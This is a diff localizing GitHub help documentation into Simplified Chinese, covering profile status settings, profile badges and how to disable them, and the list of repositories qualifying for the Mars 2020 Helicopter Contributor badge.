+您可以设置状态以显示您当前在 {% data variables.product.product_name %} 上的可用性。 您的状态将会显示：
+- 在您的 {% data variables.product.product_name %} 个人资料页面上。
+- 当有人在 {% data variables.product.product_name %} 上将鼠标放在您的用户名或头像上时。
+- 在您属于其成员的团队页面上时。 更多信息请参阅“[关于团队](/articles/about-teams/#team-pages)”。
+- 在您属于其成员的组织的组织仪表板上。 更多信息请参阅“[关于组织仪表板](/articles/about-your-organization-dashboard/)”。
 
-When you set your status, you can also let people know that you have limited availability on {% data variables.product.product_name %}.
+在设置状态时，您也可以让人们知道您在 {% data variables.product.product_name %} 上的可用性有限。
 
-![At-mentioned username shows "busy" note next to username](/assets/images/help/profile/username-with-limited-availability-text.png)
+![@提及的用户名在用户名旁边显示“忙碌”注释](/assets/images/help/profile/username-with-limited-availability-text.png)
 
-![Requested reviewer shows "busy" note next to username](/assets/images/help/profile/request-a-review-limited-availability-status.png)
+![申请的审查者在用户名旁边显示“忙碌”注释](/assets/images/help/profile/request-a-review-limited-availability-status.png)
 
-If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
+如果选择“Busy（忙碌）”选项，当人们 @提及您的用户名、向您分配议题或拉取请求或者申请您进行拉取请求审查时，您的用户名旁边将会出现一条表示您在忙碌的注释。 您还将被排除在分配给您所属的任何团队的拉取请求的自动审核任务之外。 For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
 
-1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set your status** or, if you already have a status set, click your current status.
-  ![Button on profile to set your status](/assets/images/help/profile/set-status-on-profile.png)
-2. To add custom text to your status, click in the text field and type a status message.
-  ![Field to type a status message](/assets/images/help/profile/type-a-status-message.png)
-3. Optionally, to set an emoji status, click the smiley icon and select an emoji from the list.
-  ![Button to select an emoji status](/assets/images/help/profile/select-emoji-status.png)
-4. Optionally, if you'd like to share that you have limited availability, select "Busy."
-  ![Busy option selected in Edit status options](/assets/images/help/profile/limited-availability-status.png)
-5. Use the **Clear status** drop-down menu, and select when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status.
-  ![Drop down menu to choose when your status expires](/assets/images/help/profile/status-expiration.png)
-6. Use the drop-down menu and click the organization you want your status visible to. If you don't select an organization, your status will be public.
-  ![Drop down menu to choose who your status is visible to](/assets/images/help/profile/status-visibility.png)
-7. Click **Set status**.
-  ![Button to set status](/assets/images/help/profile/set-status-button.png)
+1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set your status** or, if you already have a status set, click your current status. ![个人资料中用于设置状态的按钮](/assets/images/help/profile/set-status-on-profile.png)
+2. 要添加自定义文本到状态，请单击文本字段，然后输入状态消息。 ![用于输入状态消息的字段](/assets/images/help/profile/type-a-status-message.png)
+3. （可选）要设置表情符号状态，请单击笑脸图标并从列表中选择表情符号。 ![用于选择表情符号状态的按钮](/assets/images/help/profile/select-emoji-status.png)
+4. （可选）如果想表示您的可用性受限，请选择“Busy（忙碌）”。 ![在编辑状态选项中选择的忙碌选项](/assets/images/help/profile/limited-availability-status.png)
+5. 使用 **Clear status（清除状态）**下拉菜单，选择状态的到期时间。 如果不选择状态到期时间，您的状态将保持到您清除或编辑状态为止。 ![用于选择状态到期时间的下拉菜单](/assets/images/help/profile/status-expiration.png)
+6. 使用下拉菜单，单击您要向其显示状态的组织。 如果不选择组织，您的状态将是公共的。 ![用于选择您的状态可见者的下拉菜单](/assets/images/help/profile/status-visibility.png)
+7. 单击 **Set status（设置状态）**。 ![用于设置状态的按钮](/assets/images/help/profile/set-status-button.png)
 
 {% ifversion fpt or ghec %}
-## Displaying badges on your profile
+## 在个人资料中显示徽章
 
-When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile.
+当您参与某些计划时， {% data variables.product.prodname_dotcom %} 会自动在您的个人资料中显示徽章。
 
-| Badge | Program | Description |
-| --- | --- | --- |
-| ![Mars 2020 Helicopter Contributor badge icon](/assets/images/help/profile/badge-mars-2020-small.png) | **Mars 2020 Helicopter Contributor**  | If you authored any commit(s) present in the commit history for the relevant tag of an open source library used in the Mars 2020 Helicopter Mission, you'll get a Mars 2020 Helicopter Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were used in the mission. For the full list of repositories that will qualify you for the badge, see "[List of qualifying repositories for Mars 2020 Helicopter Contributor badge](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#list-of-qualifying-repositories-for-mars-2020-helicopter-contributor-badge)." |
-| ![Arctic Code Vault Contributor badge icon](/assets/images/help/profile/badge-arctic-code-vault-small.png) | **{% data variables.product.prodname_arctic_vault %} Contributor** | If you authored any commit(s) on the default branch of a repository that was archived in the 2020 Arctic Vault program, you'll get an {% data variables.product.prodname_arctic_vault %} Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were part of the program. For more information on the program, see [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com). |
-| ![{% data variables.product.prodname_dotcom %} Sponsor badge icon](/assets/images/help/profile/badge-sponsors-small.png) | **{% data variables.product.prodname_dotcom %} Sponsor**  | If you sponsored an open source contributor through {% data variables.product.prodname_sponsors %} you'll get a {% data variables.product.prodname_dotcom %} Sponsor badge on your profile. Clicking the badge takes you to the **Sponsoring** tab of your profile. For more information, see "[Sponsoring open source contributors](/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors)." |
-| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/). |
-| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products#github-pro)." |
-| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). |
-| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). |
+| 徽章                                                                                                            | 计划                                                             | 描述                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ![Mars 2020 Helicopter 贡献者徽章图标](/assets/images/help/profile/badge-mars-2020-small.png)                        | **Mars 2020 Helicopter 贡献者**                                   | 如果您在提交历史记录中撰写了对 Mars 2020 Helicopter 任务中使用的开放源码库相关标记的任何提交， 您将在个人资料上获得 Mars 2020 Helicopter 贡献者徽章。 悬停在徽章上会显示您参与的任务中使用的几个仓库。 要查看符合您徽章资格的完整仓库列表，请参阅“[Mars 2020 Helicopter 贡献者徽章的合格仓库列表](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#list-of-qualifying-repositories-for-mars-2020-helicopter-contributor-badge)”。                                                                                 |
+| ![Arctic Code Vault 贡献者徽章图标](/assets/images/help/profile/badge-arctic-code-vault-small.png)                   | **{% data variables.product.prodname_arctic_vault %} 贡献者**   | 如果您在存档于 2020 Arctic Vault 计划的仓库默认分支上编写了任何提交，您的个人资料上会获得一个 {% data variables.product.prodname_arctic_vault %} 贡献者徽章。 悬停在徽章上显示您参与的属于计划一部分的几个仓库。 有关该计划的更多信息，请参阅 [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com)。                                                                                                                                                                                 |
+| ![{% data variables.product.prodname_dotcom %} 赞助者徽章图标](/assets/images/help/profile/badge-sponsors-small.png) | **{% data variables.product.prodname_dotcom %} 赞助者**           | 如果您通过 {% data variables.product.prodname_sponsors %} 赞助了开源贡献者，您的个人资料中将获得一个 {% data variables.product.prodname_dotcom %} 赞助者徽章。 单击徽章将带您到个人资料的 **Sponsoring（赞助）**选项卡。 更多信息请参阅“[赞助开源贡献者](/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors)”。                                                                                                                                  |
+| {% octicon "cpu" aria-label="The Developer Program icon" %}                                                   | **开发者计划成员**                                                    | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. 有关 {% data variables.product.prodname_dotcom %} 开发者计划的更多信息，请参阅 [GitHub 开发者](/program/)。 |
+| {% octicon "star-fill" aria-label="The star icon" %}                                                          | **Pro**                                                        | 如果您使用 {% data variables.product.prodname_pro %}，您的个人资料中将获得一个 PRO 徽章。 有关 {% data variables.product.prodname_pro %} 的更多信息，请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/github/getting-started-with-github/githubs-products#github-pro)”。                                                                                                                                                                               |
+| {% octicon "lock" aria-label="The lock icon" %}                                                               | **Security Bug Bounty Hunter**                                 | 如果你帮助寻找安全漏洞，您的个人资料上将获得 Security Bug Bounty Hunter 徽章。 有关 {% data variables.product.prodname_dotcom %} 安全计划的更多信息，请参阅 [{% data variables.product.prodname_dotcom %} 安全性](https://bounty.github.com/)。                                                                                                                                                                                                                               |
+| {% octicon "mortar-board" aria-label="The mortar-board icon" %}                                               | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. 有关校园专家计划的更多信息，请参阅 [Campus Experts](https://education.github.com/experts)。                                                                                                                                                                      |
 
-## Disabling badges on your profile
+## 在个人资料中禁用徽章
 
-You can disable some of the badges for {% data variables.product.prodname_dotcom %} programs you're participating in, including the PRO, {% data variables.product.prodname_arctic_vault %} and Mars 2020 Helicopter Contributor badges.
+您可以对您参与的 {% data variables.product.prodname_dotcom %} 计划禁用某些徽章，包括 PRO、{% data variables.product.prodname_arctic_vault %} 和 Mars 2020 Helicopter 贡献者徽章。
 
 {% data reusables.user_settings.access_settings %}
-2. Under "Profile settings", deselect the badge you want you disable.
-  ![Checkbox to no longer display a badge on your profile](/assets/images/help/profile/profile-badge-settings.png)
-3. Click **Update preferences**.
+2. 在“Profile settings（个人资料设置）”下，取消选择您想要禁用的徽章。 ![不再在个人资料中显示徽章的复选框](/assets/images/help/profile/profile-badge-settings.png)
+3. 单击 **Update preferences（更新首选项）**。
 
 {% endif %}
 
-## List of qualifying repositories for Mars 2020 Helicopter Contributor badge
+## Mars 2020 Helicopter 贡献者徽章的合格仓库列表
 
-If you authored any commit(s) present in the commit history for the listed tag of one or more of the repositories below, you'll receive the Mars 2020 Helicopter Contributor badge on your profile. The authored commit must be with a verified email address, associated with your account at the time {% data variables.product.prodname_dotcom %} determined the eligible contributions, in order to be attributed to you. You can be the original author or [one of the co-authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) of the commit. Future changes to verified emails will not have an effect on the badge. We built the list based on information received from NASA's Jet Propulsion Laboratory.
+如果您为下面一个或多个仓库列出的标记撰写了提交历史记录中的任何提交，您的个人资料中将获得 Mars 2020 Helicopter 贡献者徽章。 撰写的提交必须有验证过的电子邮件地址，该电子邮件地址在 {% data variables.product.prodname_dotcom %} 确定符合条件的贡献时与您帐户关联，表示该贡献归属于您。 您可以是提交的原始作者或 [共同作者](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)。 将来对经过验证的电子邮件的更改不会对徽章产生影响。 我们根据从美国航天局喷气推进实验室获得的资料编制了清单。
 
-| {% data variables.product.prodname_dotcom %} Repository | Version | Tag |
-|---|---|---|
-| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) |
-| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) |
-| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) |
-| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) |
-| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) |
-| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) |
-| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) |
-| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) |
-| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) |
-| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) |
-| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) |
-| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) |
-| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) |
-| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) |
-| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) |
-| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) |
-| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) |
-| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) |
-| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) |
-| [yaml/pyyaml ](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) |
-| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) |
-| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) |
-| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) |
-| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) |
-| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) |
-| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) |
-| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) |
-| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) |
-| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) |
-| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) |
-| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) |
-| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) |
-| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) |
-| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) |
-| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) |
-| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) |
-| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) |
-| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) |
-| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) |
-| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) |
-| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) |
-| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) |
-| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) |
-| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) |
-| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) |
-| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) |
-| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) |
-| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) |
-| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) |
-| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) |
-| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) |
-| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) |
-| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) |
-| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) |
-| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
-| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) |
-| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) |
-| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) |
-| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) |
-| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) |
-| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) |
-| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) |
-| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) |
-| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) |
-| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) |
-| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) |
+| {% data variables.product.prodname_dotcom %} 仓库                               | 版本        | 标记                                                                                                         |
+| ----------------------------------------------------------------------------- | --------- | ---------------------------------------------------------------------------------------------------------- |
+| [torvalds/linux](https://github.com/torvalds/linux)                           | 3.4       | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4)                                                |
+| [python/cpython](https://github.com/python/cpython)                           | 3.9.2     | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2)                                            |
+| [boto/boto3](https://github.com/boto/boto3)                                   | 1.17.17   | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17)                                              |
+| [boto/botocore](https://github.com/boto/botocore)                             | 1.20.11   | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11)                                           |
+| [certifi/python-certifi](https://github.com/certifi/python-certifi)           | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05)                            |
+| [chardet/chardet](https://github.com/chardet/chardet)                         | 4.0.0     | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0)                                             |
+| [matplotlib/cycler](https://github.com/matplotlib/cycler)                     | 0.10.0    | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0)                                       |
+| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py)       | 6.8.1     | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1)                                    |
+| [ianare/exif-py](https://github.com/ianare/exif-py)                           | 2.3.2     | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2)                                              |
+| [kjd/idna](https://github.com/kjd/idna)                                       | 2.10      | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10)                                                    |
+| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py)               | 0.10.0    | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0)                                      |
+| [nucleic/kiwi](https://github.com/nucleic/kiwi)                               | 1.3.1     | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1)                                                |
+| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib)             | 3.3.4     | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4)                                     |
+| [numpy/numpy](https://github.com/numpy/numpy)                                 | 1.20.1    | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1)                                             |
+| [opencv/opencv-python](https://github.com/opencv/opencv-python)               | 4.5.1.48  | [48](https://github.com/opencv/opencv-python/releases/tag/48)                                              |
+| [python-pillow/Pillow](https://github.com/python-pillow/Pillow)               | 8.1.0     | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0)                                        |
+| [pycurl/pycurl](https://github.com/pycurl/pycurl)                             | 7.43.0.6  | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6)                             |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing)                 | 2.4.7     | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7)                     |
+| [pyserial/pyserial](https://github.com/pyserial/pyserial)                     | 3.5       | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5)                                             |
+| [dateutil/dateutil](https://github.com/dateutil/dateutil)                     | 2.8.1     | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1)                                           |
+| [yaml/pyyaml ](https://github.com/yaml/pyyaml)                                | 5.4.1     | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1)                                                 |
+| [psf/requests](https://github.com/psf/requests)                               | 2.25.1    | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1)                                            |
+| [boto/s3transfer](https://github.com/boto/s3transfer)                         | 0.3.4     | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4)                                             |
+| [enthought/scimath](https://github.com/enthought/scimath)                     | 4.2.0     | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0)                                           |
+| [scipy/scipy](https://github.com/scipy/scipy)                                 | 1.6.1     | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1)                                               |
+| [benjaminp/six](https://github.com/benjaminp/six)                             | 1.15.0    | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0)                                             |
+| [enthought/traits](https://github.com/enthought/traits)                       | 6.2.0     | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0)                                            |
+| [urllib3/urllib3](https://github.com/urllib3/urllib3)                         | 1.26.3    | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3)                                           |
+| [python-attrs/attrs](https://github.com/python-attrs/attrs)                   | 19.3.0    | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0)                                        |
+| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/)    | 3.2.4     | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4)                                   |
+| [pallets/click](https://github.com/pallets/click)                             | 7.0       | [7.0](https://github.com/pallets/click/releases/tag/7.0)                                                   |
+| [pallets/flask](https://github.com/pallets/flask)                             | 1.1.1     | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1)                                               |
+| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7     | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7)                                 |
+| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig)               | 1.0.0     | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0)                                      |
+| [pallets/itsdangerous](https://github.com/pallets/itsdangerous)               | 1.1.0     | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0)                                        |
+| [pallets/jinja](https://github.com/pallets/jinja)                             | 2.10.3    | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3)                                             |
+| [lxml/lxml](https://github.com/lxml/lxml)                                     | 4.4.1     | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1)                                         |
+| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown)       | 3.1.1     | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1)                                    |
+| [pallets/markupsafe](https://github.com/pallets/markupsafe)                   | 1.1.1     | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1)                                          |
+| [pypa/packaging](https://github.com/pypa/packaging)                           | 19.2      | [19.2](https://github.com/pypa/packaging/releases/tag/19.2)                                                |
+| [pexpect/pexpect](https://github.com/pexpect/pexpect)                         | 4.7.0     | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0)                                             |
+| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy)                     | 0.13.0    | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0)                                         |
